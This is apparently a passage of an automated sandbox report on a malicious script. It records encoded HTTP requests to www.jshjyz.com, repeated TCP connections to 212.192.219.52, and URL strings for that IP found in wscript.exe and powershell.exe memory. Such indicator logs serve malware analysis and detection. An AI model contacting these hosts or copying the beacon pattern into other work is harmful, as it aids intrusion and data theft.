yy9Uwvr=Kfogo1GVZWDcdi4kIvvnx4offu9ty7Xyk7hRbOHmCJ1hNSJazOFA7pxC9k1/VkJxlVyYKDgiNz1w/T4BSzH7xoDW7ciz61hOBhIii5ZxCsYPltcgeBByGrpAh8P0u1mTg2vhlfjznFZNNcxGd7rQpmFDsEsNgniYXFmmkHMu3/HKxg7slw==
            Source: global trafficHTTP traffic detected: GET /m8a3/?wllV=ZE0BJ&yy9Uwvr=HdAArDrpc0/lWistcv7U8os5S8lq1/Pmn5Nebv2sEOwmLRgBysRR2ORy9UpLQlQ68z6oajIjCi8xrT5GQWSFhprfwO2VyQxjGA== HTTP/1.1Host: www.jshjyz.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 Forbiddendate: Mon, 24 Jul 2023 08:30:43 GMTcontent-type: text/htmlcontent-length: 552vary: Accept-Encodingserver: NginXconnection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 Forbiddendate: Mon, 24 Jul 2023 08:32:07 GMTcontent-type: text/htmltransfer-encoding: chunkedvary: Accept-Encodingserver: NginXcontent-encoding: gzipconnection: closeData Raw: 41 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 3d 0a 02 31 10 85 7b c1 3b 8c 07 08 51 b4 1c d2 88 82 85 95 27 48 9c 71 13 c8 26 cb 6c 9a dc de ac ee 82 58 5b 5a 0d f3 7e 3e 1e fa d2 47 b3 5e a1 67 4b 06 4b 28 91 cd 61 bb 87 73 16 17 88 38 a1 7e 8b a8 5f 91 16 75 99 ea 74 ef 9c 0a 8b 41 bf fb 6e 34 05 f5 6c 4f ec 16 9a bf 3c 70 12 1e 4b fd f4 f5 42 d4 cb 9a 8d 52 60 61 b0 44 21 75 50 32 50 18 ad 8b 0c d7 db e5 04 36 11 1c bd e4 9e e1 21 81 13 c5 0a 2c 92 a5 35 3a 06 a5 fe 88 5f 23 9e 4e 40 05 2c 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: A7=1{;Q'Hq&lX[Z~>G^gKK(as8~_utAn4lO<pKBR`aD!uP2P6!,5:_#N@,(0
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 Forbiddendate: Mon, 24 Jul 2023 08:32:10 GMTcontent-type: text/htmltransfer-encoding: chunkedvary: Accept-Encodingserver: NginXcontent-encoding: gzipconnection: closeData Raw: 41 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 3d 0a 02 31 10 85 7b c1 3b 8c 07 08 51 b4 1c d2 88 82 85 95 27 48 9c 71 13 c8 26 cb 6c 9a dc de ac ee 82 58 5b 5a 0d f3 7e 3e 1e fa d2 47 b3 5e a1 67 4b 06 4b 28 91 cd 61 bb 87 73 16 17 88 38 a1 7e 8b a8 5f 91 16 75 99 ea 74 ef 9c 0a 8b 41 bf fb 6e 34 05 f5 6c 4f ec 16 9a bf 3c 70 12 1e 4b fd f4 f5 42 d4 cb 9a 8d 52 60 61 b0 44 21 75 50 32 50 18 ad 8b 0c d7 db e5 04 36 11 1c bd e4 9e e1 21 81 13 c5 0a 2c 92 a5 35 3a 06 a5 fe 88 5f 23 9e 4e 40 05 2c 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: A7=1{;Q'Hq&lX[Z~>G^gKK(as8~_utAn4lO<pKBR`aD!uP2P6!,5:_#N@,(0
            Source: global trafficHTTP traffic detected: HTTP/1.1 403 Forbiddendate: Mon, 24 Jul 2023 08:32:12 GMTcontent-type: text/htmlcontent-length: 552vary: Accept-Encodingserver: NginXconnection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 24 Jul 2023 08:32:52 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 24 Jul 2023 08:32:55 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 24 Jul 2023 08:32:59 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: unknownTCP traffic detected without corresponding DNS query: 212.192.219.52
            Source: wscript.exe, 00000000.00000003.383410316.000002748CAEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383225286.000002748CAEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383083306.000002748CAE7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.384164782.000002748CAEA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383158552.000002748CAEA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.1
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.19
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.2
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.21
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.5
            Source: powershell.exe, 00000008.00000002.488364738.000001FFC1626000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/G
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/U
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Un
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Unt
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Unti
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Untit
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Untitl
